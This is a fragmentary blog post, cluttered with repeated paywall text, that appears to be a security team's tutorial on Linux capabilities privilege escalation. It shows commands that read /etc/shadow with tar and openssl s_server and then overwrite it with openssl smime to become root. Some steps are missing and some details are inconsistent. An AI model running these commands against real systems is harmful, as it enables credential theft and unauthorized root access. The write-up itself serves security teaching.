

Open in app ↗

Sign up Sign in

Medium

Search

Write

Day 44: Linux Capabilities Privilege Escalation via OpenSSL with SELinux Enabled and Enforced

Medium

Sign up to discover human stories that deepen your understanding of the world.

Free

✓ Distraction-free reading. No ads.

✓ Organize your knowledge with lists and highlights.

✓ Tell your story. Find your audience.

Sign up for free

✦ Membership

✓ Read member-only stories

✓ Support writers you read most

✓ Earn money for your writing

✓ Listen to audio narrations

✓ Read offline with the Medium app

Try for 5 \$/month



Medium

Sign up to discover human stories that deepen your understanding of the world.

Free

- ✓ Distraction-free reading. No ads.
- ✓ Organize your knowledge with lists and highlights.
- ✓ Tell your story. Find your audience.

✦ Membership

- ✓ Read member-only stories
- ✓ Support writers you read most
- ✓ Earn money for your writing
- ✓ Listen to audio narrations
- ✓ Read offline with the Medium app

Read more about the actual capabilities here: <http://man7.org/linux/man-pages/man7/capabilities.7.html>

There has also been some nice articles written about using capabilities for priv esc by abusing binaries that can do certain things, like read and write files etc.

Find out what capabilities are Enabled

Medium

Sign up to discover human stories that deepen your understanding of the world.

Free

- ✓ Distraction-free reading. No ads.
- ✓ Organize your knowledge with lists and highlights.
- ✓ Tell your story. Find your audience.

✦ Membership

- ✓ Read member-only stories
- ✓ Support writers you read most
- ✓ Earn money for your writing
- ✓ Listen to audio narrations
- ✓ Read offline with the Medium app

```
[user@box ~]$ tar -cvf shadow.tar /etc/shadow
[user@box ~]$ tar -xvf shadow.tar
[user@box ~]$ cat etc/shadow
root:$6$sa!tsa!t$H0C6AvLVkxCTYnJ5Tc78.CYF/KdcBDMheMbOGQTqiMUZhdKof
7eXjN9/6I3w8smybsEQEaz5Vh8aoGGs71hf20:17673:0:99999:7:::
bin:*:17632:0:99999:7:::
daemon:*:17632:0:99999:7:::
...
```

But what is special about our output, if you look closely this should stick out...

Medium

Sign up to discover human stories that deepen your understanding of the world.

Free

- ✓ Distraction-free reading. No ads.
- ✓ Organize your knowledge with lists and highlights.
- ✓ Tell your story. Find your audience.

✦ Membership

- ✓ Read member-only stories
- ✓ Support writers you read most
- ✓ Earn money for your writing
- ✓ Listen to audio narrations
- ✓ Read offline with the Medium app

```
[user@box ~]$ openssl smime -decrypt -in /tmp/shadow.enc -inform DER -inkey /tmp/privkey.pem -out /etc/shadow3
Enter pass phrase for /tmp/privkey.pem:
Can't open output file /etc/shadow
140131862038416:error:0200100D:system library:fopen:Permission denied:bss_file.c:175:fopen('/etc/shadow','w')
140131862038416:error:2006D002:BIIO routines:BIIO_new_file:system lib:bss_file.c:184:
```

As we can see, **Permission denied**. As expected, this is because we inherited our low level capabilities. Thanks Linux for protecting us, or not?!

Medium

Sign up to discover human stories that deepen your understanding of the world.

Free

- ✓ Distraction-free reading. No ads.
- ✓ Organize your knowledge with lists and highlights.
- ✓ Tell your story. Find your audience.

✦ Membership

- ✓ Read member-only stories
- ✓ Support writers you read most
- ✓ Earn money for your writing
- ✓ Listen to audio narrations
- ✓ Read offline with the Medium app

```
[user@box ~]$ cd /  
[user@box ~]$ openssl s_server -key /tmp/key.pem -cert  
/tmp/cert.pem -port 1337 -HTTP
```

Another Low-Priv Terminal on Same Host

```
[user@box ~]$ curl -k "https://127.0.0.1:1337/etc/shadow"  
root:$6$salt$t$H0C6AvLVkxCTYnJ5Tc78.CYF/KdcBDMheMbOGQTqiMUZhdKof  
7eXjN9/6I3w8smybsEQEaz5Vh8aoGGs71hf20:17673:0:99999:7:::  
bin:*:17632:0:99999:7:::
```

Medium

Sign up to discover human stories that deepen your understanding of the world.

Free

- ✓ Distraction-free reading. No ads.
- ✓ Organize your knowledge with lists and highlights.
- ✓ Tell your story. Find your audience.

✦ Membership

- ✓ Read member-only stories
- ✓ Support writers you read most
- ✓ Earn money for your writing
- ✓ Listen to audio narrations
- ✓ Read offline with the Medium app

Now it's time to write the new shadow file

```
[user@box ~]$ cd /  
[user@box /]$ /home/ldapuser1/openssl smime -decrypt -in  
/tmp/shadow.enc -inform DER -inkey /tmp/privkey.pem -out  
/etc/shadow  
Enter pass phrase for /tmp/privkey.pem:  
[user@box /]$ IT WORKED!
```

Finally, lets su to root

Medium

Sign up to discover human stories that deepen your understanding of the world.

Free

- ✓ Distraction-free reading. No ads.
- ✓ Organize your knowledge with lists and highlights.
- ✓ Tell your story. Find your audience.

✦ Membership

- ✓ Read member-only stories
- ✓ Support writers you read most
- ✓ Earn money for your writing
- ✓ Listen to audio narrations
- ✓ Read offline with the Medium app

Written by Atumcell Labs

2.3K Followers

Security Research Team @ Atumcell

Follow

Medium

Sign up to discover human stories that deepen your understanding of the world.

Free

- ✓ Distraction-free reading. No ads.
- ✓ Organize your knowledge with lists and highlights.
- ✓ Tell your story. Find your audience.

✦ Membership

- ✓ Read member-only stories
- ✓ Support writers you read most
- ✓ Earn money for your writing
- ✓ Listen to audio narrations
- ✓ Read offline with the Medium app